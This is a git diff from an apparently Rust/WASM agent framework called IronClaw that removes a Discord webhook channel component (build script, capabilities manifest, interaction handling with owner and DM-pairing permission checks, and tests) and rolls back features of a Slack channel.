wasm-tools strip discord.wasm -o discord.wasm
|
||||
|
||||
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
|
||||
echo ""
|
||||
echo "To install:"
|
||||
echo " mkdir -p ~/.ironclaw/channels"
|
||||
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
|
||||
echo ""
|
||||
echo "Then add your bot token to secrets:"
|
||||
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
|
||||
else
|
||||
echo "Error: WASM output not found at $WASM_PATH"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,62 +0,0 @@
|
||||
{
|
||||
"version": "0.2.0",
|
||||
"wit_version": "0.3.0",
|
||||
"type": "channel",
|
||||
"name": "discord",
|
||||
"description": "Discord Gateway/Webhook channel for handling slash commands, buttons, and messages",
|
||||
"setup": {
|
||||
"required_secrets": [
|
||||
{
|
||||
"name": "discord_bot_token",
|
||||
"prompt": "Enter your Discord Bot Token. Find it under Bot > Token in your Discord Application settings.",
|
||||
"optional": false
|
||||
},
|
||||
{
|
||||
"name": "discord_public_key",
|
||||
"prompt": "Enter your Discord Application Public Key (found under General Information in your Discord Application settings).",
|
||||
"optional": false
|
||||
}
|
||||
],
|
||||
"setup_url": "https://discord.com/developers/applications"
|
||||
},
|
||||
"capabilities": {
|
||||
"http": {
|
||||
"allowlist": [
|
||||
{ "host": "discord.com", "path_prefix": "/api/v10" }
|
||||
],
|
||||
"credentials": {
|
||||
"discord_bot_token": {
|
||||
"secret_name": "discord_bot_token",
|
||||
"location": { "type": "header", "name": "Authorization", "prefix": "Bot " },
|
||||
"host_patterns": ["discord.com"]
|
||||
}
|
||||
},
|
||||
"rate_limit": {
|
||||
"requests_per_minute": 60,
|
||||
"requests_per_hour": 3600
|
||||
}
|
||||
},
|
||||
"secrets": {
|
||||
"allowed_names": ["discord_bot_token", "discord_*"]
|
||||
},
|
||||
"channel": {
|
||||
"allowed_paths": ["/webhook/discord"],
|
||||
"allow_polling": false,
|
||||
"callback_timeout_secs": 45,
|
||||
"workspace_prefix": "channels/discord/",
|
||||
"emit_rate_limit": {
|
||||
"messages_per_minute": 100,
|
||||
"messages_per_hour": 5000
|
||||
},
|
||||
"webhook": {
|
||||
"signature_key_secret_name": "discord_public_key"
|
||||
}
|
||||
}
|
||||
},
|
||||
"config": {
|
||||
"require_signature_verification": true,
|
||||
"owner_id": null,
|
||||
"dm_policy": "pairing",
|
||||
"allow_from": []
|
||||
}
|
||||
}
|
||||
@@ -1,722 +0,0 @@
|
||||
//! Discord Gateway/Webhook channel for IronClaw.
|
||||
//!
|
||||
//! This WASM component implements the channel interface for handling Discord
|
||||
//! interactions via webhooks and sending messages back to Discord.
|
||||
//!
|
||||
//! # Features
|
||||
//!
|
||||
//! - URL verification for Discord interactions
|
||||
//! - Slash command handling
|
||||
//! - Message event parsing (@mentions, DMs)
|
||||
//! - Thread support for conversations
|
||||
//! - Response posting via Discord Web API
|
||||
//! - Automatic message truncation (> 2000 chars)
|
||||
//!
|
||||
//! # Security
|
||||
//!
|
||||
//! - Signature validation is handled by the host (webhook secrets)
|
||||
//! - Bot token is injected by host during HTTP requests
|
||||
//! - WASM never sees raw credentials
|
||||
|
||||
wit_bindgen::generate!({
|
||||
world: "sandboxed-channel",
|
||||
path: "../../wit/channel.wit",
|
||||
});
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use exports::near::agent::channel::{
|
||||
AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest,
|
||||
OutgoingHttpResponse, StatusUpdate,
|
||||
};
|
||||
use near::agent::channel_host::{self, EmittedMessage};
|
||||
|
||||
/// Discord interaction wrapper.
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct DiscordInteraction {
|
||||
/// Interaction type (1=Ping, 2=ApplicationCommand, 3=MessageComponent)
|
||||
#[serde(rename = "type")]
|
||||
interaction_type: u8,
|
||||
|
||||
/// Interaction ID
|
||||
id: String,
|
||||
|
||||
/// Application ID
|
||||
application_id: String,
|
||||
|
||||
/// Guild ID (if in server)
|
||||
#[allow(dead_code)] // Part of API payload, currently unused
|
||||
guild_id: Option<String>,
|
||||
|
||||
/// Channel ID
|
||||
channel_id: Option<String>,
|
||||
|
||||
/// Member info (if in server)
|
||||
member: Option<DiscordMember>,
|
||||
|
||||
/// User info (if DM)
|
||||
user: Option<DiscordUser>,
|
||||
|
||||
/// Command data (for slash commands)
|
||||
data: Option<DiscordCommandData>,
|
||||
|
||||
/// Message (for component interactions)
|
||||
message: Option<DiscordMessage>,
|
||||
|
||||
/// Token for responding
|
||||
token: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize, Clone)]
|
||||
struct DiscordMember {
|
||||
user: DiscordUser,
|
||||
#[allow(dead_code)] // Part of API payload, currently unused
|
||||
nick: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize, Clone)]
|
||||
struct DiscordUser {
|
||||
id: String,
|
||||
username: String,
|
||||
global_name: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize, Clone)]
|
||||
struct DiscordCommandData {
|
||||
#[allow(dead_code)] // Part of API payload, currently unused
|
||||
id: String,
|
||||
name: String,
|
||||
options: Option<Vec<DiscordCommandOption>>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize, Clone)]
|
||||
struct DiscordCommandOption {
|
||||
name: String,
|
||||
value: serde_json::Value,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize, Clone)]
|
||||
struct DiscordMessage {
|
||||
#[allow(dead_code)] // Part of API payload, currently unused
|
||||
id: String,
|
||||
content: String,
|
||||
channel_id: String,
|
||||
#[allow(dead_code)] // Part of API payload, currently unused
|
||||
author: DiscordUser,
|
||||
}
|
||||
|
||||
/// Metadata stored with emitted messages for response routing.
|
||||
#[derive(Debug, Serialize, Deserialize)]
|
||||
struct DiscordMessageMetadata {
|
||||
/// Discord channel ID
|
||||
channel_id: String,
|
||||
|
||||
/// Interaction ID for followups
|
||||
interaction_id: String,
|
||||
|
||||
/// Interaction token for responding
|
||||
token: String,
|
||||
|
||||
/// Application ID
|
||||
application_id: String,
|
||||
|
||||
/// Thread ID (for forum threads)
|
||||
thread_id: Option<String>,
|
||||
}
|
||||
|
||||
/// Workspace path for persisting owner_id across WASM callbacks.
|
||||
const OWNER_ID_PATH: &str = "state/owner_id";
|
||||
/// Workspace path for persisting dm_policy across WASM callbacks.
|
||||
const DM_POLICY_PATH: &str = "state/dm_policy";
|
||||
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
|
||||
const ALLOW_FROM_PATH: &str = "state/allow_from";
|
||||
/// Channel name for pairing store (used by pairing host APIs).
|
||||
const CHANNEL_NAME: &str = "discord";
|
||||
|
||||
/// Channel configuration from capabilities file.
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct DiscordConfig {
|
||||
#[serde(default)]
|
||||
#[allow(dead_code)]
|
||||
require_signature_verification: bool,
|
||||
#[serde(default)]
|
||||
owner_id: Option<String>,
|
||||
#[serde(default)]
|
||||
dm_policy: Option<String>,
|
||||
#[serde(default)]
|
||||
allow_from: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
struct DiscordChannel;
|
||||
|
||||
impl Guest for DiscordChannel {
|
||||
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
|
||||
let config: DiscordConfig = serde_json::from_str(&config_json)
|
||||
.map_err(|e| format!("Failed to parse config: {}", e))?;
|
||||
|
||||
channel_host::log(channel_host::LogLevel::Info, "Discord channel starting");
|
||||
|
||||
// Persist owner_id so subsequent callbacks can read it
|
||||
if let Some(ref owner_id) = config.owner_id {
|
||||
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!("Owner restriction enabled: user {}", owner_id),
|
||||
);
|
||||
} else {
|
||||
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
|
||||
}
|
||||
|
||||
// Persist dm_policy and allow_from for DM pairing
|
||||
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
|
||||
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
|
||||
|
||||
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
|
||||
.unwrap_or_else(|_| "[]".to_string());
|
||||
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
|
||||
|
||||
Ok(ChannelConfig {
|
||||
display_name: "Discord".to_string(),
|
||||
http_endpoints: vec![HttpEndpointConfig {
|
||||
path: "/webhook/discord".to_string(),
|
||||
methods: vec!["POST".to_string()],
|
||||
require_secret: true,
|
||||
}],
|
||||
poll: None,
|
||||
})
|
||||
}
|
||||
|
||||
fn on_http_request(req: IncomingHttpRequest) -> OutgoingHttpResponse {
|
||||
let body_str = match std::str::from_utf8(&req.body) {
|
||||
Ok(s) => s,
|
||||
Err(_) => {
|
||||
return json_response(400, serde_json::json!({"error": "Invalid UTF-8 body"}));
|
||||
}
|
||||
};
|
||||
|
||||
let interaction: DiscordInteraction = match serde_json::from_str(body_str) {
|
||||
Ok(i) => i,
|
||||
Err(e) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Failed to parse Discord interaction: {}", e),
|
||||
);
|
||||
return json_response(400, serde_json::json!({"error": "Invalid interaction"}));
|
||||
}
|
||||
};
|
||||
|
||||
match interaction.interaction_type {
|
||||
// Ping - Discord verification
|
||||
1 => {
|
||||
channel_host::log(channel_host::LogLevel::Info, "Responding to Discord ping");
|
||||
json_response(200, serde_json::json!({"type": 1}))
|
||||
}
|
||||
|
||||
// Application Command (slash command)
|
||||
2 => {
|
||||
if handle_slash_command(&interaction) {
|
||||
json_response(200, serde_json::json!({"type": 5}))
|
||||
} else {
|
||||
// Permission denied — ephemeral response
|
||||
json_response(
|
||||
200,
|
||||
serde_json::json!({
|
||||
"type": 4,
|
||||
"data": {
|
||||
"content": "You are not authorized to use this bot.",
|
||||
"flags": 64
|
||||
}
|
||||
}),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// Message Component (buttons, selects)
|
||||
3 => {
|
||||
if let Some(ref message) = interaction.message {
|
||||
handle_message_component(&interaction, message);
|
||||
}
|
||||
json_response(200, serde_json::json!({"type": 6}))
|
||||
}
|
||||
|
||||
_ => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Warn,
|
||||
&format!(
|
||||
"Unknown Discord interaction type: {}",
|
||||
interaction.interaction_type
|
||||
),
|
||||
);
|
||||
json_response(200, serde_json::json!({"type": 6}))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn on_poll() {}
|
||||
|
||||
fn on_respond(response: AgentResponse) -> Result<(), String> {
|
||||
let metadata: DiscordMessageMetadata = serde_json::from_str(&response.metadata_json)
|
||||
.map_err(|e| format!("Failed to parse metadata: {}", e))?;
|
||||
|
||||
// Use webhook endpoint for followup
|
||||
let url = format!(
|
||||
"https://discord.com/api/v10/webhooks/{}/{}",
|
||||
metadata.application_id, metadata.token
|
||||
);
|
||||
|
||||
// Truncate content to 2000 characters to comply with Discord limits
|
||||
let content = truncate_message(&response.content);
|
||||
|
||||
let mut payload = serde_json::json!({
|
||||
"content": content,
|
||||
});
|
||||
|
||||
// Check for embeds in metadata
|
||||
if let Ok(meta_json) = serde_json::from_str::<serde_json::Value>(&response.metadata_json) {
|
||||
if let Some(embeds) = meta_json.get("embeds") {
|
||||
payload["embeds"] = embeds.clone();
|
||||
}
|
||||
}
|
||||
|
||||
let payload_bytes =
|
||||
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
|
||||
|
||||
let headers = serde_json::json!({
|
||||
"Content-Type": "application/json"
|
||||
});
|
||||
|
||||
let result = channel_host::http_request(
|
||||
"POST",
|
||||
&url,
|
||||
&headers.to_string(),
|
||||
Some(&payload_bytes),
|
||||
None,
|
||||
);
|
||||
|
||||
match result {
|
||||
Ok(http_response) => {
|
||||
if http_response.status >= 200 && http_response.status < 300 {
|
||||
channel_host::log(channel_host::LogLevel::Debug, "Posted followup to Discord");
|
||||
Ok(())
|
||||
} else {
|
||||
let body_str = String::from_utf8_lossy(&http_response.body);
|
||||
Err(format!(
|
||||
"Discord API error: {} - {}",
|
||||
http_response.status, body_str
|
||||
))
|
||||
}
|
||||
}
|
||||
Err(e) => Err(format!("HTTP request failed: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn on_status(_update: StatusUpdate) {}
|
||||
|
||||
fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> {
|
||||
Err("broadcast not yet implemented for Discord channel".to_string())
|
||||
}
|
||||
|
||||
fn on_shutdown() {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
"Discord channel shutting down",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns true if the message was emitted, false if permission denied.
|
||||
fn handle_slash_command(interaction: &DiscordInteraction) -> bool {
|
||||
let user = interaction
|
||||
.member
|
||||
.as_ref()
|
||||
.map(|m| &m.user)
|
||||
.or(interaction.user.as_ref());
|
||||
let user_id = user.map(|u| u.id.clone()).unwrap_or_default();
|
||||
let user_name = user
|
||||
.map(|u| {
|
||||
u.global_name
|
||||
.as_ref()
|
||||
.filter(|s| !s.is_empty())
|
||||
.unwrap_or(&u.username)
|
||||
.clone()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
|
||||
// DM if no guild member context (only direct user field set)
|
||||
let is_dm = interaction.member.is_none();
|
||||
|
||||
// Permission check
|
||||
if !check_sender_permission(
|
||||
&user_id,
|
||||
Some(&user_name),
|
||||
is_dm,
|
||||
Some(&PairingReplyCtx {
|
||||
application_id: interaction.application_id.clone(),
|
||||
token: interaction.token.clone(),
|
||||
}),
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
|
||||
let channel_id = interaction.channel_id.clone().unwrap_or_default();
|
||||
|
||||
let command_name = interaction
|
||||
.data
|
||||
.as_ref()
|
||||
.map(|d| d.name.clone())
|
||||
.unwrap_or_default();
|
||||
let options = interaction.data.as_ref().and_then(|d| d.options.clone());
|
||||
|
||||
let content = if let Some(opts) = options {
|
||||
let opt_str = opts
|
||||
.iter()
|
||||
.map(|o| format!("{}: {}", o.name, o.value))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
format!("/{} {}", command_name, opt_str)
|
||||
} else {
|
||||
format!("/{}", command_name)
|
||||
};
|
||||
|
||||
let metadata = DiscordMessageMetadata {
|
||||
channel_id: channel_id.clone(),
|
||||
interaction_id: interaction.id.clone(),
|
||||
token: interaction.token.clone(),
|
||||
application_id: interaction.application_id.clone(),
|
||||
thread_id: None,
|
||||
};
|
||||
|
||||
let metadata_json = match serde_json::to_string(&metadata) {
|
||||
Ok(json) => json,
|
||||
Err(e) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Failed to serialize metadata: {}", e),
|
||||
);
|
||||
let url = format!(
|
||||
"https://discord.com/api/v10/webhooks/{}/{}",
|
||||
interaction.application_id, interaction.token
|
||||
);
|
||||
let payload = serde_json::json!({
|
||||
"content": "❌ Internal Error: Failed to process command metadata.",
|
||||
"flags": 64
|
||||
});
|
||||
let _ = channel_host::http_request(
|
||||
"POST",
|
||||
&url,
|
||||
&serde_json::json!({"Content-Type": "application/json"}).to_string(),
|
||||
Some(&serde_json::to_vec(&payload).unwrap_or_default()),
|
||||
None,
|
||||
);
|
||||
return true; // Error, but not a permission denial
|
||||
}
|
||||
};
|
||||
|
||||
channel_host::emit_message(&EmittedMessage {
|
||||
user_id,
|
||||
user_name: Some(user_name),
|
||||
content,
|
||||
thread_id: None,
|
||||
metadata_json,
|
||||
attachments: vec![],
|
||||
});
|
||||
true
|
||||
}
|
||||
|
||||
fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordMessage) {
|
||||
let user = interaction
|
||||
.member
|
||||
.as_ref()
|
||||
.map(|m| &m.user)
|
||||
.or(interaction.user.as_ref());
|
||||
let user_id = user.map(|u| u.id.clone()).unwrap_or_default();
|
||||
let user_name = user
|
||||
.map(|u| {
|
||||
u.global_name
|
||||
.as_ref()
|
||||
.filter(|s| !s.is_empty())
|
||||
.unwrap_or(&u.username)
|
||||
.clone()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
|
||||
let is_dm = interaction.member.is_none();
|
||||
if !check_sender_permission(&user_id, Some(&user_name), is_dm, None) {
|
||||
return;
|
||||
}
|
||||
|
||||
let channel_id = message.channel_id.clone();
|
||||
|
||||
let metadata = DiscordMessageMetadata {
|
||||
channel_id: channel_id.clone(),
|
||||
interaction_id: interaction.id.clone(),
|
||||
token: interaction.token.clone(),
|
||||
application_id: interaction.application_id.clone(),
|
||||
thread_id: None,
|
||||
};
|
||||
|
||||
let metadata_json = match serde_json::to_string(&metadata) {
|
||||
Ok(json) => json,
|
||||
Err(e) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Failed to serialize metadata: {}", e),
|
||||
);
|
||||
return; // Don't emit message if metadata can't be serialized
|
||||
}
|
||||
};
|
||||
|
||||
channel_host::emit_message(&EmittedMessage {
|
||||
user_id,
|
||||
user_name: Some(user_name),
|
||||
content: format!("[Button clicked] {}", message.content),
|
||||
thread_id: None,
|
||||
metadata_json,
|
||||
attachments: vec![],
|
||||
});
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Permission & Pairing
|
||||
// ============================================================================
|
||||
|
||||
/// Context needed to send a pairing reply via Discord webhook followup.
|
||||
struct PairingReplyCtx {
|
||||
application_id: String,
|
||||
token: String,
|
||||
}
|
||||
|
||||
/// Check if a sender is permitted to interact with the bot.
|
||||
/// Returns true if allowed, false if denied (pairing reply sent if applicable).
|
||||
fn check_sender_permission(
|
||||
user_id: &str,
|
||||
username: Option<&str>,
|
||||
is_dm: bool,
|
||||
reply_ctx: Option<&PairingReplyCtx>,
|
||||
) -> bool {
|
||||
// 1. Owner check (highest priority, applies to all contexts)
|
||||
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
|
||||
if let Some(ref owner) = owner_id {
|
||||
if user_id != owner {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Debug,
|
||||
&format!(
|
||||
"Dropping interaction from non-owner user {} (owner: {})",
|
||||
user_id, owner
|
||||
),
|
||||
);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 2. DM policy (only for DMs when no owner_id)
|
||||
if !is_dm {
|
||||
return true; // Guild interactions bypass DM policy
|
||||
}
|
||||
|
||||
let dm_policy =
|
||||
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
|
||||
|
||||
if dm_policy == "open" {
|
||||
return true;
|
||||
}
|
||||
|
||||
// 3. Build merged allow list: config allow_from + pairing store
|
||||
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
|
||||
.and_then(|s| serde_json::from_str(&s).ok())
|
||||
.unwrap_or_default();
|
||||
|
||||
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
|
||||
allowed.extend(store_allowed);
|
||||
}
|
||||
|
||||
// 4. Check sender against allow list
|
||||
let is_allowed = allowed.contains(&"*".to_string())
|
||||
|| allowed.contains(&user_id.to_string())
|
||||
|| username.is_some_and(|u| allowed.contains(&u.to_string()));
|
||||
|
||||
if is_allowed {
|
||||
return true;
|
||||
}
|
||||
|
||||
// 5. Not allowed — handle by policy
|
||||
if dm_policy == "pairing" {
|
||||
let meta = serde_json::json!({
|
||||
"user_id": user_id,
|
||||
"username": username,
|
||||
})
|
||||
.to_string();
|
||||
|
||||
match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) {
|
||||
Ok(result) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!(
|
||||
"Pairing request for user {}: code {}",
|
||||
user_id, result.code
|
||||
),
|
||||
);
|
||||
if result.created {
|
||||
if let Some(ctx) = reply_ctx {
|
||||
let _ = send_pairing_reply(ctx, &result.code);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Pairing upsert failed: {}", e),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Send a pairing code as an ephemeral Discord followup message.
|
||||
fn send_pairing_reply(ctx: &PairingReplyCtx, code: &str) -> Result<(), String> {
|
||||
let url = format!(
|
||||
"https://discord.com/api/v10/webhooks/{}/{}",
|
||||
ctx.application_id, ctx.token
|
||||
);
|
||||
|
||||
let payload = serde_json::json!({
|
||||
"content": format!(
|
||||
"To pair with this bot, run: `ironclaw pairing approve discord {}`",
|
||||
code
|
||||
),
|
||||
"flags": 64 // Ephemeral — only visible to the sender
|
||||
});
|
||||
|
||||
let payload_bytes =
|
||||
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
|
||||
|
||||
let headers = serde_json::json!({"Content-Type": "application/json"});
|
||||
|
||||
let result = channel_host::http_request(
|
||||
"POST",
|
||||
&url,
|
||||
&headers.to_string(),
|
||||
Some(&payload_bytes),
|
||||
None,
|
||||
);
|
||||
|
||||
match result {
|
||||
Ok(response) if response.status >= 200 && response.status < 300 => Ok(()),
|
||||
Ok(response) => {
|
||||
let body_str = String::from_utf8_lossy(&response.body);
|
||||
Err(format!(
|
||||
"Discord API error: {} - {}",
|
||||
response.status, body_str
|
||||
))
|
||||
}
|
||||
Err(e) => Err(format!("HTTP request failed: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
|
||||
let body = serde_json::to_vec(&value).unwrap_or_default();
|
||||
let headers = serde_json::json!({"Content-Type": "application/json"});
|
||||
|
||||
OutgoingHttpResponse {
|
||||
status,
|
||||
headers_json: headers.to_string(),
|
||||
body,
|
||||
}
|
||||
}
|
||||
|
||||
export!(DiscordChannel);
|
||||
|
||||
fn truncate_message(content: &str) -> String {
|
||||
if content.len() <= 2000 {
|
||||
content.to_string()
|
||||
} else {
|
||||
let max_bytes = 1990;
|
||||
let cutoff = content
|
||||
.char_indices()
|
||||
.map(|(i, c)| i + c.len_utf8())
|
||||
.take_while(|&end| end <= max_bytes)
|
||||
.last()
|
||||
.unwrap_or(0);
|
||||
let mut truncated = content[..cutoff].to_string();
|
||||
truncated.push_str("\n... (truncated)");
|
||||
truncated
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_truncate_message() {
|
||||
let short = "Hello world";
|
||||
assert_eq!(truncate_message(short), short);
|
||||
|
||||
let long = "a".repeat(2005);
|
||||
let truncated = truncate_message(&long);
|
||||
assert_eq!(truncated.len(), 2006); // 1990 + 16 chars suffix
|
||||
assert!(truncated.ends_with("\n... (truncated)"));
|
||||
|
||||
// Test with multibyte characters (Euro sign is 3 bytes)
|
||||
// 1000 chars * 3 bytes = 3000 bytes
|
||||
let multi = "€".repeat(1000);
|
||||
let truncated_multi = truncate_message(&multi);
|
||||
|
||||
// 1990 bytes limit. 1990 / 3 = 663 with remainder 1.
|
||||
// Should truncate at 663 chars (1989 bytes).
|
||||
// Suffix is 16 bytes. Total: 1989 + 16 = 2005 bytes.
|
||||
assert!(truncated_multi.len() <= 2006);
|
||||
assert!(truncated_multi.len() >= 2006 - 4); // Allow for max utf8 char width variance
|
||||
assert!(truncated_multi.ends_with("\n... (truncated)"));
|
||||
|
||||
let content_part = &truncated_multi[..truncated_multi.len() - 16];
|
||||
assert!(content_part.chars().all(|c| c == '€'));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metadata_serialization() {
|
||||
let metadata = DiscordMessageMetadata {
|
||||
channel_id: "123".into(),
|
||||
interaction_id: "456".into(),
|
||||
token: "abc".into(),
|
||||
application_id: "789".into(),
|
||||
thread_id: None,
|
||||
};
|
||||
let json = serde_json::to_string(&metadata).unwrap();
|
||||
let parsed: DiscordMessageMetadata = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.channel_id, "123");
|
||||
assert_eq!(parsed.interaction_id, "456");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_slash_command_interaction() {
|
||||
// Verify that a slash command interaction deserializes correctly.
|
||||
let json = r#"{
|
||||
"type": 2,
|
||||
"id": "int_1",
|
||||
"application_id": "app_1",
|
||||
"channel_id": "ch_1",
|
||||
"member": {
|
||||
"user": {
|
||||
"id": "user_1",
|
||||
"username": "testuser",
|
||||
"global_name": "Test User"
|
||||
}
|
||||
},
|
||||
"data": {
|
||||
"id": "cmd_1",
|
||||
"name": "ask",
|
||||
"options": [
|
||||
{"name": "question", "value": "What is rust?"}
|
||||
]
|
||||
},
|
||||
"token": "token_abc"
|
||||
}"#;
|
||||
|
||||
let interaction: DiscordInteraction = serde_json::from_str(json).unwrap();
|
||||
assert_eq!(interaction.interaction_type, 2);
|
||||
assert!(interaction.data.is_some());
|
||||
}
|
||||
}
|
||||
Generated
+1
-1
@@ -267,7 +267,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "slack-channel"
|
||||
version = "0.2.1"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"hex",
|
||||
"hmac",
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "slack-channel"
|
||||
version = "0.2.1"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "Slack Events API channel for IronClaw"
|
||||
license = "MIT OR Apache-2.0"
|
||||
@@ -27,5 +27,3 @@ opt-level = "s"
|
||||
lto = true
|
||||
strip = true
|
||||
codegen-units = 1
|
||||
|
||||
[workspace]
|
||||
|
||||
@@ -1,24 +1,7 @@
|
||||
{
|
||||
"version": "0.2.0",
|
||||
"wit_version": "0.3.0",
|
||||
"type": "channel",
|
||||
"name": "slack",
|
||||
"description": "Slack Events API channel for receiving and responding to Slack messages",
|
||||
"setup": {
|
||||
"required_secrets": [
|
||||
{
|
||||
"name": "slack_bot_token",
|
||||
"prompt": "Enter your Slack Bot User OAuth Token (starts with xoxb-). Find it under OAuth & Permissions in your Slack App settings.",
|
||||
"optional": false
|
||||
},
|
||||
{
|
||||
"name": "slack_signing_secret",
|
||||
"prompt": "Enter your Slack App Signing Secret (found under Basic Information > App Credentials in your Slack App settings).",
|
||||
"optional": false
|
||||
}
|
||||
],
|
||||
"setup_url": "https://api.slack.com/apps"
|
||||
},
|
||||
"capabilities": {
|
||||
"http": {
|
||||
"allowlist": [
|
||||
@@ -46,16 +29,10 @@
|
||||
"emit_rate_limit": {
|
||||
"messages_per_minute": 100,
|
||||
"messages_per_hour": 5000
|
||||
},
|
||||
"webhook": {
|
||||
"hmac_secret_name": "slack_signing_secret"
|
||||
}
|
||||
}
|
||||
},
|
||||
"config": {
|
||||
"signing_secret_name": "slack_signing_secret",
|
||||
"owner_id": null,
|
||||
"dm_policy": "pairing",
|
||||
"allow_from": []
|
||||
"signing_secret_name": "slack_signing_secret"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -29,7 +29,7 @@ use exports::near::agent::channel::{
|
||||
AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest,
|
||||
OutgoingHttpResponse, StatusUpdate,
|
||||
};
|
||||
use near::agent::channel_host::{self, EmittedMessage, InboundAttachment};
|
||||
use near::agent::channel_host::{self, EmittedMessage};
|
||||
|
||||
/// Slack event wrapper.
|
||||
#[derive(Debug, Deserialize)]
|
||||
@@ -78,25 +78,6 @@ struct SlackEvent {
|
||||
|
||||
/// Subtype (bot_message, etc.)
|
||||
subtype: Option<String>,
|
||||
|
||||
/// File attachments shared in the message.
|
||||
#[serde(default)]
|
||||
files: Option<Vec<SlackFile>>,
|
||||
}
|
||||
|
||||
/// Slack file attachment.
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct SlackFile {
|
||||
/// File ID.
|
||||
id: String,
|
||||
/// MIME type.
|
||||
mimetype: Option<String>,
|
||||
/// Original filename.
|
||||
name: Option<String>,
|
||||
/// File size in bytes.
|
||||
size: Option<u64>,
|
||||
/// URL to download the file (requires auth).
|
||||
url_private: Option<String>,
|
||||
}
|
||||
|
||||
/// Metadata stored with emitted messages for response routing.
|
||||
@@ -123,31 +104,15 @@ struct SlackPostMessageResponse {
|
||||
ts: Option<String>,
|
||||
}
|
||||
|
||||
/// Workspace path for persisting owner_id across WASM callbacks.
|
||||
const OWNER_ID_PATH: &str = "state/owner_id";
|
||||
/// Workspace path for persisting dm_policy across WASM callbacks.
|
||||
const DM_POLICY_PATH: &str = "state/dm_policy";
|
||||
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
|
||||
const ALLOW_FROM_PATH: &str = "state/allow_from";
|
||||
/// Channel name for pairing store (used by pairing host APIs).
|
||||
const CHANNEL_NAME: &str = "slack";
|
||||
|
||||
/// Channel configuration from capabilities file.
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct SlackConfig {
|
||||
/// Name of secret containing signing secret (for verification by host).
|
||||
/// Parsed from config for forward compatibility; not yet used in WASM
|
||||
/// (host handles signature verification).
|
||||
#[serde(default = "default_signing_secret_name")]
|
||||
#[allow(dead_code)]
|
||||
signing_secret_name: String,
|
||||
|
||||
#[serde(default)]
|
||||
owner_id: Option<String>,
|
||||
|
||||
#[serde(default)]
|
||||
dm_policy: Option<String>,
|
||||
|
||||
#[serde(default)]
|
||||
allow_from: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
